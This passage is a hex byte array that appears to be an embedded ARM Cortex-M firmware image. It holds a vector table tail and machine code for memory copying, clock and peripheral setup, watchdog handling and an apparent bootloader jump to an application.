0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x3d, 0x15, 0x00, 0x08,
0x4d, 0x0e, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, 0x5c, 0x3d, 0x00, 0x08,
0x00, 0x00, 0x0c, 0x00, 0x06, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x84, 0x46, 0x41, 0xea, 0x00, 0x03, 0x13, 0xf0,
0x03, 0x03, 0x49, 0xd1, 0x40, 0x3a, 0x23, 0xd3, 0x0b, 0x68, 0x03, 0x60,
0x4b, 0x68, 0x43, 0x60, 0x8b, 0x68, 0x83, 0x60, 0xcb, 0x68, 0xc3, 0x60,
0x0b, 0x69, 0x03, 0x61, 0x4b, 0x69, 0x43, 0x61, 0x8b, 0x69, 0x83, 0x61,
0xcb, 0x69, 0xc3, 0x61, 0x0b, 0x6a, 0x03, 0x62, 0x4b, 0x6a, 0x43, 0x62,
0x8b, 0x6a, 0x83, 0x62, 0xcb, 0x6a, 0xc3, 0x62, 0x0b, 0x6b, 0x03, 0x63,
0x4b, 0x6b, 0x43, 0x63, 0x8b, 0x6b, 0x83, 0x63, 0xcb, 0x6b, 0xc3, 0x63,
0x40, 0x30, 0x40, 0x31, 0x40, 0x3a, 0xdb, 0xd2, 0x30, 0x32, 0x0b, 0xd3,
0x0b, 0x68, 0x03, 0x60, 0x4b, 0x68, 0x43, 0x60, 0x8b, 0x68, 0x83, 0x60,
0xcb, 0x68, 0xc3, 0x60, 0x10, 0x30, 0x10, 0x31, 0x10, 0x3a, 0xf3, 0xd2,
0x0c, 0x32, 0x05, 0xd3, 0x51, 0xf8, 0x04, 0x3b, 0x40, 0xf8, 0x04, 0x3b,
0x04, 0x3a, 0xf9, 0xd2, 0x04, 0x32, 0x08, 0xd0, 0xd2, 0x07, 0x1c, 0xbf,
0x11, 0xf8, 0x01, 0x3b, 0x00, 0xf8, 0x01, 0x3b, 0x01, 0xd3, 0x0b, 0x88,
0x03, 0x80, 0x60, 0x46, 0x70, 0x47, 0x00, 0xbf, 0x08, 0x2a, 0x13, 0xd3,
0x8b, 0x07, 0xb1, 0xd0, 0x10, 0xf0, 0x03, 0x03, 0xae, 0xd0, 0xc3, 0xf1,
0x04, 0x03, 0xd2, 0x1a, 0xdb, 0x07, 0x1c, 0xbf, 0x11, 0xf8, 0x01, 0x3b,
0x00, 0xf8, 0x01, 0x3b, 0xa4, 0xd3, 0x31, 0xf8, 0x02, 0x3b, 0x20, 0xf8,
0x02, 0x3b, 0x9f, 0xe7, 0x04, 0x3a, 0xd9, 0xd3, 0x01, 0x3a, 0x11, 0xf8,
0x01, 0x3b, 0x00, 0xf8, 0x01, 0x3b, 0xf9, 0xd2, 0x0b, 0x78, 0x03, 0x70,
0x4b, 0x78, 0x43, 0x70, 0x8b, 0x78, 0x83, 0x70, 0x60, 0x46, 0x70, 0x47,
0x80, 0xb5, 0xac, 0x4a, 0x01, 0x24, 0x13, 0x68, 0x00, 0x26, 0x43, 0xf0,
0x10, 0x03, 0x13, 0x60, 0xa9, 0x4b, 0x4f, 0xf0, 0x80, 0x45, 0x1a, 0x6c,
0x8a, 0xb0, 0x42, 0xf0, 0x80, 0x52, 0x1a, 0x64, 0xa6, 0x4a, 0x4f, 0xf0,
0x80, 0x40, 0x14, 0x60, 0xa5, 0x4a, 0x51, 0x68, 0x41, 0xf0, 0x07, 0x01,
0x51, 0x60, 0x91, 0x68, 0x41, 0xf4, 0xc0, 0x51, 0x91, 0x60, 0xa2, 0x49,
0xca, 0x68, 0x42, 0xf0, 0x80, 0x72, 0xca, 0x60, 0xa0, 0x4a, 0x56, 0x60,
0x11, 0x68, 0x21, 0x43, 0x11, 0x60, 0x9f, 0x49, 0x02, 0xf5, 0x5d, 0x42,
0xd1, 0x60, 0x1a, 0x6b, 0x31, 0x46, 0x42, 0xf4, 0x80, 0x52, 0x1a, 0x63,
0x5a, 0x6c, 0x42, 0xf4, 0x80, 0x42, 0x5a, 0x64, 0x02, 0xf0, 0xa4, 0xfb,
0x2b, 0x8c, 0x28, 0x46, 0x23, 0xf0, 0x01, 0x03, 0x1b, 0x04, 0x1b, 0x0c,
0x2b, 0x84, 0x2b, 0x8c, 0xa9, 0x88, 0x2a, 0x8b, 0x23, 0xf0, 0x02, 0x03,
0x22, 0xf0, 0x73, 0x02, 0x1b, 0x04, 0x12, 0x04, 0x1b, 0x0c, 0x12, 0x0c,
0x89, 0xb2, 0x23, 0x43, 0xa9, 0x80, 0x2a, 0x83, 0x6e, 0x63, 0x2b, 0x84,
0x2b, 0x8b, 0x04, 0x21, 0x23, 0xf0, 0x08, 0x03, 0x1b, 0x04, 0x1b, 0x0c,
0x2b, 0x83, 0x02, 0xf0, 0xb7, 0xfa, 0x28, 0x46, 0x08, 0x21, 0x02, 0xf0,
0xb3, 0xfa, 0x28, 0x46, 0x0c, 0x21, 0x02, 0xf0, 0xaf, 0xfa, 0x28, 0x46,
0x21, 0x46, 0x02, 0xf0, 0x77, 0xfb, 0x82, 0x48, 0x82, 0x49, 0x60, 0x22,
0xff, 0xf7, 0x22, 0xff, 0x81, 0x4d, 0x03, 0x2c, 0x21, 0xdd, 0x18, 0x20,
0x60, 0x43, 0x00, 0xf6, 0xef, 0x50, 0x03, 0xf0, 0x07, 0xfa, 0x03, 0x78,
0xff, 0x2b, 0x46, 0xd0, 0x83, 0x7d, 0x03, 0xf0, 0x09, 0x03, 0x09, 0x2b,
0x41, 0xd1, 0x03, 0x46, 0x2e, 0x46, 0x00, 0xf1, 0x18, 0x07, 0x32, 0x46,
0x18, 0x68, 0x59, 0x68, 0x08, 0x33, 0x03, 0xc2, 0xbb, 0x42, 0x16, 0x46,
0xf7, 0xd1, 0x28, 0x69, 0x01, 0x21, 0x02, 0xf0, 0x51, 0xfb, 0x28, 0x69,
0xa9, 0x8a, 0x02, 0xf0, 0x81, 0xfa, 0x67, 0x4a, 0x69, 0x89, 0x13, 0x6b,
0x0b, 0x43, 0x13, 0x63, 0x2b, 0x89, 0x03, 0x22, 0x08, 0x93, 0x2b, 0x7b,
0x68, 0x68, 0x8d, 0xf8, 0x24, 0x30, 0x08, 0xa9, 0x00, 0x23, 0x8d, 0xf8,
0x26, 0x30, 0x8d, 0xf8, 0x27, 0x30, 0x8d, 0xf8, 0x25, 0x20, 0x02, 0xf0,
0x7f, 0xff, 0x2b, 0x7b, 0x02, 0x2b, 0x14, 0xd1, 0xab, 0x7b, 0xe8, 0x7b,
0xd9, 0x08, 0x03, 0xf0, 0x07, 0x02, 0x6b, 0x68, 0x92, 0x00, 0x03, 0xeb,
0x81, 0x03, 0x19, 0x6a, 0x0f, 0x26, 0x90, 0x40, 0x06, 0xfa, 0x02, 0xf2,
0x21, 0xea, 0x02, 0x02, 0x1a, 0x62, 0x19, 0x6a, 0x40, 0xea, 0x01, 0x02,
0x1a, 0x62, 0x01, 0x34, 0x08, 0x2c, 0x05, 0xf1, 0x18, 0x05, 0xa8, 0xd1,
0x00, 0x20, 0x02, 0xf0, 0x07, 0xfd, 0x55, 0x4b, 0xf3, 0x22, 0xda, 0x60,
0x40, 0xf6, 0x2f, 0x60, 0x03, 0xf0, 0xae, 0xf9, 0x03, 0x78, 0xaa, 0x2b,
0x19, 0xd1, 0x4b, 0xf6, 0xcc, 0x32, 0x03, 0x8a, 0x9b, 0xb2, 0x93, 0x42,
0x13, 0xd1, 0x03, 0x46, 0x4d, 0x4c, 0x00, 0xf1, 0x20, 0x05, 0x22, 0x46,
0x18, 0x68, 0x59, 0x68, 0x08, 0x33, 0x03, 0xc2, 0xab, 0x42, 0x14, 0x46,
0xf7, 0xd1, 0x49, 0x4b, 0x00, 0x22, 0x83, 0xf8, 0x20, 0x20, 0x01, 0x20,
0x1a, 0x86, 0x02, 0xf0, 0xe3, 0xfc, 0x01, 0xf0, 0x27, 0xf8, 0x30, 0xb1,
0x4f, 0xf0, 0x80, 0x42, 0x93, 0x89, 0x9b, 0xb2, 0x43, 0xf0, 0x02, 0x03,
0x93, 0x81, 0x41, 0x4b, 0x4f, 0xf4, 0x7a, 0x72, 0x1b, 0x68, 0xf0, 0x21,
0xb3, 0xfb, 0xf2, 0xf3, 0x3e, 0x4a, 0x01, 0x3b, 0x53, 0x60, 0x3e, 0x4b,
0x00, 0x20, 0x83, 0xf8, 0x23, 0x10, 0x07, 0x21, 0x90, 0x60, 0x11, 0x60,
0xd0, 0x22, 0x83, 0xf8, 0x23, 0x20, 0x3a, 0x4b, 0x01, 0x22, 0x1a, 0x70,
0x03, 0xf0, 0x6e, 0xf9, 0x38, 0x4a, 0x03, 0x46, 0x15, 0x46, 0x00, 0xf1,
0x20, 0x06, 0x14, 0x46, 0x18, 0x68, 0x59, 0x68, 0x08, 0x33, 0x03, 0xc4,
0xb3, 0x42, 0x22, 0x46, 0xf7, 0xd1, 0x4a, 0xf6, 0xc0, 0x43, 0x2b, 0x80,
0x41, 0xf6, 0xde, 0x23, 0x6b, 0x80, 0x1f, 0x4b, 0x6a, 0x69, 0x5b, 0x6f,
0x9a, 0x42, 0x03, 0xd0, 0x2c, 0x4a, 0x53, 0x61, 0x02, 0xf0, 0x46, 0xf9,
0xab, 0x88, 0x0c, 0x2b, 0x04, 0xd0, 0x29, 0x4b, 0x0c, 0x22, 0x9a, 0x80,
0x02, 0xf0, 0x3e, 0xf9, 0xab, 0x7c, 0x23, 0xb1, 0x25, 0x4b, 0x00, 0x22,
0x9a, 0x74, 0x02, 0xf0, 0x37, 0xf9, 0x40, 0xf6, 0xaf, 0x60, 0x03, 0xf0,
0x3f, 0xf9, 0x04, 0x46, 0xa0, 0xb1, 0x03, 0x78, 0x01, 0x2b, 0x11, 0xd1,
0x21, 0x46, 0x0b, 0x20, 0x00, 0xf0, 0x72, 0xff, 0x1d, 0x4b, 0x21, 0x46,
0x18, 0x60, 0x08, 0x20, 0x00, 0xf0, 0x6c, 0xff, 0x1b, 0x4b, 0x21, 0x46,
0x18, 0x60, 0x0a, 0x20, 0x00, 0xf0, 0x66, 0xff, 0x19, 0x4b, 0x18, 0x60,
0x19, 0x4b, 0x1a, 0x4f, 0x3b, 0x60, 0x2b, 0x89, 0x05, 0x2b, 0x33, 0xd1,
0x01, 0x22, 0x18, 0x4b, 0x39, 0xe0, 0x00, 0xbf, 0x14, 0xed, 0x00, 0xe0,
0x00, 0x38, 0x02, 0x40, 0x20, 0x00, 0x0e, 0x42, 0x00, 0x20, 0x04, 0xe0,
0xf0, 0xed, 0x00, 0xe0, 0x00, 0x10, 0x00, 0xe0, 0x00, 0x03, 0xfa, 0x05,
0x50, 0x02, 0x00, 0x20, 0x64, 0x39, 0x00, 0x08, 0x68, 0x02, 0x00, 0x20,
0x00, 0x3c, 0x02, 0x40, 0x30, 0x01, 0x00, 0x20, 0x10, 0x01, 0x00, 0x20,
0x0c, 0x01, 0x00, 0x20, 0x10, 0xe0, 0x00, 0xe0, 0x00, 0xed, 0x00, 0xe0,
0xe0, 0x01, 0x00, 0x20, 0x30, 0x02, 0x00, 0x20, 0x20, 0x00, 0x00, 0x20,
0x48, 0x00, 0x00, 0x20, 0x4c, 0x00, 0x00, 0x20, 0x00, 0x00, 0x02, 0x08,
0xdc, 0x01, 0x00, 0x20, 0xed, 0x01, 0x00, 0x20, 0x45, 0xf2, 0x55, 0x52,
0x93, 0x42, 0x05, 0xd1, 0xa9, 0x4b, 0x00, 0x22, 0x1a, 0x70, 0xa9, 0x4b,
0x01, 0x22, 0x1a, 0x70, 0x4a, 0xf6, 0xaa, 0x23, 0x4f, 0xf6, 0xff, 0x70,
0xaa, 0x89, 0x00, 0x24, 0x9a, 0x42, 0x02, 0xbf, 0xa4, 0x4b, 0x01, 0x22,
0x1a, 0x70, 0xa4, 0x4b, 0x06, 0x94, 0x06, 0x93, 0x06, 0x9b, 0x04, 0x33,
0x06, 0x93, 0x06, 0x9b, 0x1b, 0x68, 0x9b, 0xb2, 0xad, 0xf8, 0x16, 0x30,
0xbd, 0xf8, 0x16, 0x30, 0x9b, 0xb2, 0x83, 0x42, 0x47, 0xd0, 0x4e, 0xf6,
0xfa, 0x52, 0xbd, 0xf8, 0x16, 0x30, 0x9b, 0xb2, 0x93, 0x42, 0x02, 0xd1,
0x01, 0x22, 0x99, 0x4b, 0x08, 0xe0, 0x45, 0xf6, 0xfe, 0x22, 0xbd, 0xf8,
0x16, 0x30, 0x9b, 0xb2, 0x93, 0x42, 0x03, 0xd1, 0x95, 0x4b, 0x01, 0x22,
0x1a, 0x70, 0x38, 0xe0, 0x7d, 0x20, 0x02, 0xf0, 0x13, 0xfb, 0x00, 0x28,
0x35, 0xd0, 0xbd, 0xf8, 0x16, 0x30, 0x9b, 0xb2, 0x02, 0x2b, 0x09, 0xd0,
0x03, 0x2b, 0x10, 0xd0, 0x01, 0x2b, 0x11, 0xd1, 0x88, 0x4a, 0x13, 0x70,
0xbd, 0xf8, 0x16, 0x30, 0x01, 0x33, 0x06, 0xe0, 0x86, 0x4b, 0x01, 0x22,
0x1a, 0x70, 0xbd, 0xf8, 0x16, 0x30, 0xec, 0x80, 0x13, 0x44, 0x9b, 0xb2,
0x04, 0xe0, 0x84, 0x4b, 0x01, 0x22, 0x1a, 0x70, 0x4f, 0xf6, 0xff, 0x73,
0xad, 0xf8, 0x16, 0x30, 0xbd, 0xf8, 0x16, 0x00, 0x80, 0xb2, 0x02, 0xf0,
0xcf, 0xfb, 0x00, 0x23, 0x6b, 0x81, 0x02, 0xf0, 0x7b, 0xf8, 0x7e, 0x4a,
0x53, 0x6f, 0x43, 0xf0, 0x80, 0x73, 0x53, 0x67, 0x07, 0xe0, 0x01, 0x23,
0xad, 0xf8, 0x16, 0x30, 0xbd, 0xf8, 0x16, 0x00, 0x80, 0xb2, 0x02, 0xf0,
0xbd, 0xfb, 0x00, 0x20, 0x00, 0xf0, 0xfc, 0xfe, 0x40, 0xb9, 0x74, 0x4b,
0x1b, 0x78, 0x00, 0x2b, 0x6a, 0xd0, 0x01, 0x23, 0xab, 0x74, 0x02, 0xf0,
0x61, 0xf8, 0x65, 0xe0, 0x71, 0x48, 0x01, 0xf0, 0x27, 0xfa, 0x42, 0xf6,
0xe0, 0x63, 0x82, 0x46, 0x6f, 0x4e, 0x33, 0x60, 0x00, 0x20, 0x00, 0xf0,
0xe7, 0xfe, 0x00, 0x28, 0xe9, 0xd0, 0x33, 0x68, 0x00, 0x2b, 0xe6, 0xd0,
0x00, 0x20, 0x00, 0xf0, 0xc9, 0xfe, 0x42, 0xf2, 0x10, 0x73, 0x98, 0x42,
0x06, 0xd9, 0x68, 0x4b, 0x6f, 0xf0, 0x7f, 0x42, 0x1a, 0x60, 0x01, 0x23,
0xeb, 0x80, 0xe9, 0xe7, 0xdf, 0xf8, 0x74, 0x81, 0x98, 0xf8, 0x00, 0x30,
0x03, 0xf0, 0xff, 0x04, 0x7b, 0xb9, 0x20, 0x46, 0x00, 0xf0, 0xb4, 0xfe,
0x41, 0xf6, 0x64, 0x13, 0x98, 0x42, 0x08, 0xd9, 0x5d, 0x4b, 0x4f, 0xf4,
0x7f, 0x42, 0x1a, 0x60, 0x01, 0x23, 0xec, 0x80, 0x88, 0xf8, 0x00, 0x30,
0xd2, 0xe7, 0x54, 0x4c, 0x23, 0x78, 0x03, 0xf0, 0xff, 0x00, 0x7b, 0xb9,
0x00, 0xf0, 0xa0, 0xfe, 0x40, 0xf6, 0xb7, 0x33, 0x98, 0x42, 0x09, 0xd9,
0x54, 0x4b, 0x1a, 0x68, 0x52, 0x4b, 0x1a, 0x60, 0x01, 0x23, 0x23, 0x70,
0xba, 0xf1, 0x00, 0x0f, 0xbe, 0xd1, 0xac, 0xe7, 0xdf, 0xf8, 0x28, 0x91,
0x99, 0xf8, 0x00, 0x30, 0x03, 0xf0, 0xff, 0x04, 0x00, 0x2b, 0xb5, 0xd1,
0x20, 0x46, 0x00, 0xf0, 0x87, 0xfe, 0xb0, 0xf5, 0x7a, 0x7f, 0xaf, 0xd3,
0x3e, 0x4b, 0x88, 0xf8, 0x00, 0x40, 0x1c, 0x70, 0x3d, 0x4b, 0x1c, 0x70,
0x46, 0x4b, 0x1a, 0x68, 0x43, 0x4b, 0x1a, 0x60, 0x01, 0x23, 0x89, 0xf8,
0x00, 0x30, 0xa1, 0xe7, 0x37, 0x4e, 0xdf, 0xf8, 0xe4, 0x80, 0x33, 0x78,
0x01, 0x2b, 0x04, 0xd1, 0x40, 0x4b, 0x1a, 0x68, 0x3c, 0x4b, 0x1a, 0x60,
0xc4, 0xe0, 0x98, 0xf8, 0x00, 0x30, 0x43, 0xb3, 0x98, 0xf8, 0x00, 0x30,
0x01, 0x2b, 0x1f, 0xd1, 0xeb, 0x88, 0x01, 0x2b, 0x36, 0x4b, 0x0c, 0xbf,
0x6f, 0xf0, 0x7f, 0x42, 0x4f, 0xf4, 0x7f, 0x42, 0x1a, 0x60, 0x02, 0xf0,
0x11, 0xf8, 0x00, 0x28, 0x40, 0xf0, 0xb0, 0x80, 0x38, 0x68, 0x00, 0xf0,
0x35, 0xfe, 0x00, 0x28, 0x00, 0xf0, 0xaa, 0x80, 0xbf, 0xf3, 0x4f, 0x8f,
0x30, 0x49, 0x31, 0x4b, 0xca, 0x68, 0x02, 0xf4, 0xe0, 0x62, 0x13, 0x43,
0xcb, 0x60, 0xbf, 0xf3, 0x4f, 0x8f, 0xfe, 0xe7, 0x00, 0x23, 0x88, 0xf8,
0x00, 0x30, 0x01, 0xf0, 0xcb, 0xff, 0x20, 0x4b, 0x1b, 0x78, 0x00, 0x2b,
0x40, 0xf0, 0x94, 0x80, 0x40, 0xf6, 0x24, 0x30, 0x02, 0xf0, 0xc6, 0xff,
0x00, 0xf1, 0x28, 0x04, 0x00, 0xf1, 0x78, 0x0a, 0x4a, 0xf6, 0xcd, 0x33,
0x34, 0xf8, 0x14, 0x2c, 0x9a, 0x42, 0x52, 0xd1, 0x01, 0x23, 0x33, 0x70,
0x1d, 0x4b, 0xa4, 0xf1, 0x14, 0x09, 0x1a, 0x68, 0x18, 0x4b, 0x1a, 0x60,
0x54, 0xf8, 0x08, 0x3c, 0x14, 0xf8, 0x11, 0x2c, 0x14, 0xf8, 0x12, 0x0c,
0x00, 0x93, 0x14, 0xf8, 0x03, 0x3c, 0x01, 0x93, 0x14, 0xf8, 0x04, 0x3c,
0x02, 0x93, 0x54, 0xf8, 0x10, 0x1c, 0x54, 0xf8, 0x0c, 0x3c, 0x01, 0xf0,
0x87, 0xf9, 0x02, 0xf0, 0x0f, 0xfe, 0xa1, 0x45, 0x24, 0xd0, 0x48, 0x46,
0x00, 0x21, 0x02, 0xf0, 0xad, 0xfd, 0x09, 0xf1, 0x04, 0x09, 0xf6, 0xe7,
0xed, 0x01, 0x00, 0x20, 0xee, 0x01, 0x00, 0x20, 0xfd, 0x01, 0x00, 0x20,
0x50, 0x28, 0x00, 0x40, 0xfc, 0x01, 0x00, 0x20, 0xec, 0x01, 0x00, 0x20,
0x00, 0x38, 0x02, 0x40, 0x75, 0x25, 0x00, 0x08, 0xf4, 0x01, 0x00, 0x20,
0x14, 0x03, 0x00, 0x20, 0x4c, 0x00, 0x00, 0x20, 0x48, 0x00, 0x00, 0x20,
0x20, 0x00, 0x00, 0x20, 0x00, 0xed, 0x00, 0xe0, 0x04, 0x00, 0xfa, 0x05,
0x4f, 0xf0, 0x00, 0x09, 0x02, 0xf0, 0xdc, 0xfd, 0x48, 0x46, 0x86, 0xf8,
0x00, 0x90, 0x02, 0xf0, 0x9d, 0xfb, 0x96, 0x4b, 0x01, 0x22, 0x83, 0xf8,
0x00, 0x90, 0x95, 0x4b, 0x1a, 0x70, 0x14, 0x34, 0x54, 0x45, 0xa3, 0xd1,
0x3c, 0x68, 0x20, 0x46, 0x00, 0xf0, 0xb4, 0xfd, 0x20, 0xb3, 0x62, 0x68,
0x90, 0x4b, 0x1a, 0x60, 0x90, 0x4b, 0x1a, 0x60, 0x22, 0x68, 0x82, 0xf3,
0x08, 0x88, 0x4d, 0xf2, 0x01, 0x02, 0xe9, 0x89, 0x91, 0x42, 0x1a, 0x46,
0x0e, 0xd1, 0x45, 0xf2, 0x55, 0x51, 0x8b, 0x4b, 0x19, 0x60, 0x06, 0x21,
0x59, 0x60, 0x40, 0xf2, 0x71, 0x21, 0x99, 0x60, 0x4a, 0xf6, 0xaa, 0x21,
0x19, 0x60, 0x4c, 0xf6, 0xcc, 0x41, 0x19, 0x60, 0x85, 0x49, 0x0b, 0x68,
0x23, 0xf0, 0x01, 0x03, 0x0b, 0x60, 0x13, 0x68, 0x98, 0x47, 0x05, 0xe0,
0x82, 0x4b, 0x4f, 0xf4, 0x7f, 0x02, 0x1a, 0x60, 0x01, 0xf0, 0x5e, 0xff,
0x80, 0x4b, 0x00, 0x24, 0x1c, 0x70, 0x80, 0x4b, 0x88, 0xf8, 0x00, 0x40,
0x1a, 0x68, 0x7c, 0x4b, 0x34, 0x70, 0x1a, 0x60, 0x7d, 0x4b, 0x7e, 0x4e,
0x01, 0x27, 0x1f, 0x70, 0x33, 0x6b, 0x7d, 0x4d, 0x43, 0xf0, 0x02, 0x03,
0x33, 0x63, 0x4f, 0xf4, 0x40, 0x43, 0x08, 0x93, 0x4f, 0xf0, 0x02, 0x08,
0x03, 0x23, 0x28, 0x46, 0x08, 0xa9, 0x8d, 0xf8, 0x25, 0x30, 0x8d, 0xf8,
0x24, 0x80, 0x02, 0xf0, 0xbf, 0xfc, 0x6b, 0x6a, 0x74, 0x4a, 0x23, 0xf0,
0x70, 0x63, 0x6b, 0x62, 0x6b, 0x6a, 0x43, 0xf0, 0x40, 0x63, 0x6b, 0x62,
0x6b, 0x6a, 0x23, 0xf0, 0x70, 0x43, 0x6b, 0x62, 0x6b, 0x6a, 0x43, 0xf0,
0x40, 0x43, 0x6b, 0x62, 0x33, 0x6b, 0x43, 0xf0, 0x00, 0x53, 0x33, 0x63,
0x6b, 0x4b, 0xc3, 0xf8, 0xc4, 0x24, 0x6b, 0x4a, 0xdc, 0x70, 0xc3, 0xf8,
0xc8, 0x24, 0x6a, 0x4a, 0xdc, 0x72, 0xc3, 0xf8, 0xcc, 0x24, 0x40, 0x22,
0x9a, 0x80, 0x0c, 0x22, 0x1a, 0x70, 0x06, 0x22, 0x5a, 0x70, 0x4f, 0xf4,
0xa0, 0x62, 0xda, 0x80, 0x64, 0x4a, 0x9f, 0x70, 0xda, 0x60, 0x02, 0xf5,
0x00, 0x62, 0x1a, 0x61, 0x02, 0xf5, 0x80, 0x72, 0x9a, 0x61, 0x02, 0xf5,
0x00, 0x72, 0x9a, 0x64, 0xa2, 0xf5, 0xf0, 0x72, 0xda, 0x61, 0x02, 0xf5,
0x00, 0x72, 0xda, 0x64, 0xa2, 0xf5, 0xf0, 0x72, 0x1a, 0x62, 0x02, 0xf5,
0x00, 0x72, 0x1a, 0x65, 0xa2, 0xf5, 0xf0, 0x72, 0x5a, 0x62, 0x02, 0xf5,
0x00, 0x72, 0x5a, 0x65, 0xa2, 0xf5, 0xf0, 0x72, 0x9a, 0x62, 0x02, 0xf5,
0x00, 0x72, 0x83, 0xf8, 0x08, 0x80, 0x9f, 0x72, 0x9a, 0x65, 0xa2, 0xf5,
0xf0, 0x72, 0xda, 0x62, 0x02, 0xf5, 0x00, 0x72, 0xda, 0x65, 0xa2, 0xf5,
0xf4, 0x62, 0x5a, 0x61, 0x40, 0x32, 0xc3, 0xf8, 0xa8, 0x20, 0x22, 0x46,
0x1c, 0x46, 0x4b, 0x4b, 0xa1, 0x18, 0x13, 0x44, 0x04, 0x32, 0xdb, 0x00,
0x30, 0x2a, 0x8b, 0x67, 0xf7, 0xd1, 0x00, 0x22, 0x02, 0xf5, 0x80, 0x11,
0xa0, 0x18, 0x01, 0xf5, 0x82, 0x71, 0x04, 0x32, 0x89, 0x02, 0x30, 0x2a,
0x3e, 0x4b, 0xc0, 0xf8, 0xac, 0x10, 0xf3, 0xd1, 0x19, 0x46, 0x41, 0x4a,
0x00, 0x20, 0xc3, 0xf8, 0xdc, 0x20, 0x01, 0x22, 0x83, 0xf8, 0xe2, 0x20,
0x83, 0xf8, 0xe4, 0x00, 0x01, 0x22, 0x81, 0xf8, 0xec, 0x00, 0xa1, 0xf8,
0xf2, 0x00, 0x01, 0x30, 0x81, 0xf8, 0xed, 0x20, 0x40, 0x25, 0x00, 0x22,
0x06, 0x28, 0x81, 0xf8, 0xef, 0x20, 0xc1, 0xf8, 0xf4, 0x50, 0xc1, 0xf8,
0xf8, 0x20, 0xc1, 0xf8, 0x00, 0x21, 0x01, 0xf1, 0x28, 0x01, 0xe9, 0xd1,
0x83, 0xf8, 0xcc, 0x22, 0xa3, 0xf8, 0xd2, 0x22, 0x01, 0x32, 0x00, 0x25,
0x40, 0x21, 0x06, 0x2a, 0x83, 0xf8, 0xcd, 0x52, 0x83, 0xf8, 0xcf, 0x52,
0xc3, 0xf8, 0xd4, 0x12, 0xc3, 0xf8, 0xd8, 0x52, 0xc3, 0xf8, 0xe0, 0x52,
0x03, 0xf1, 0x28, 0x03, 0xea, 0xd1, 0x25, 0x4a, 0x21, 0x4e, 0x93, 0x68,
0x23, 0xf0, 0x01, 0x03, 0x93, 0x60, 0x23, 0x7a, 0x01, 0x2b, 0x49, 0xd1,
0xf2, 0x68, 0x71, 0x7a, 0x93, 0x6b, 0x65, 0xf3, 0x10, 0x43, 0x09, 0xb1,
0x43, 0xf4, 0x80, 0x13, 0x93, 0x63, 0xd3, 0x68, 0x1e, 0x48, 0x6f, 0xf3,
0x86, 0x13, 0x6f, 0xf3, 0x96, 0x53, 0x6f, 0xf3, 0x51, 0x43, 0x6f, 0xf3,
0xd3, 0x43, 0xd3, 0x60, 0x02, 0xf0, 0xee, 0xfa, 0xe3, 0x78, 0x01, 0x2b,
0x46, 0xd1, 0x05, 0x23, 0x63, 0xf3, 0x44, 0x05, 0x0f, 0x4b, 0x45, 0xf0,
0x20, 0x05, 0xdb, 0x68, 0x9d, 0x60, 0x3d, 0xe0, 0x50, 0x00, 0x00, 0x20,
0x24, 0x00, 0x00, 0x20, 0xe8, 0x01, 0x00, 0x20, 0xe4, 0x01, 0x00, 0x20,
0x00, 0x30, 0x00, 0x40, 0x10, 0xe0, 0x00, 0xe0, 0x14, 0x03, 0x00, 0x20,
0xee, 0x01, 0x00, 0x20, 0x4c, 0x00, 0x00, 0x20, 0xfc, 0x01, 0x00, 0x20,
0x00, 0x38, 0x02, 0x40, 0x00, 0x04, 0x02, 0x40, 0x54, 0x00, 0x00, 0x20,
0x18, 0x14, 0x00, 0x20, 0x28, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x20,
0x00, 0x00, 0x04, 0x40, 0xa0, 0x80, 0x00, 0x08, 0x00, 0x0e, 0x04, 0x40,
0x24, 0x14, 0x00, 0x20, 0x30, 0x46, 0x50, 0xf8, 0x0c, 0x2f, 0xd3, 0x68,
0x43, 0xf0, 0x40, 0x03, 0xd3, 0x60, 0x02, 0xf0, 0xb1, 0xfa, 0x73, 0x7a,
0xe2, 0x68, 0x00, 0x2b, 0x0c, 0xbf, 0x4f, 0xf4, 0x34, 0x13, 0x4f, 0xf4,
0x74, 0x13, 0x93, 0x63, 0x44, 0xf6, 0x20, 0x60, 0x00, 0xf0, 0x8a, 0xff,
0xe3, 0x78, 0x01, 0x2b, 0x08, 0xd1, 0x83, 0x4b, 0x05, 0x22, 0xdb, 0x68,
0x9d, 0x68, 0x62, 0xf3, 0x44, 0x05, 0x45, 0xf0, 0x20, 0x05, 0x9d, 0x60,
0xe2, 0x68, 0x4c, 0xf2, 0x50, 0x30, 0xd3, 0x68, 0x7c, 0x4d, 0x6f, 0xf3,
0x5d, 0x73, 0x43, 0xf0, 0x80, 0x43, 0xd3, 0x60, 0x00, 0xf0, 0x72, 0xff,
0xd4, 0xf8, 0xdc, 0x30, 0x00, 0x21, 0x19, 0x60, 0x20, 0x69, 0x0a, 0x46,
0x03, 0x68, 0x61, 0xf3, 0xcc, 0x23, 0x03, 0x60, 0xe3, 0x7a, 0x00, 0x2b,
0x3c, 0xd1, 0x2b, 0x7a, 0x28, 0x69, 0x01, 0x2b, 0x03, 0x68, 0x14, 0xbf,
0x01, 0x25, 0x61, 0xf3, 0x01, 0x03, 0xc0, 0xf2, 0x40, 0x01, 0x18, 0xbf,
0x65, 0xf3, 0x01, 0x03, 0x03, 0x60, 0xe3, 0x68, 0x4f, 0xf4, 0x80, 0x70,
0x60, 0xf3, 0x0f, 0x01, 0x58, 0x62, 0x99, 0x62, 0x4f, 0xf4, 0xa0, 0x71,
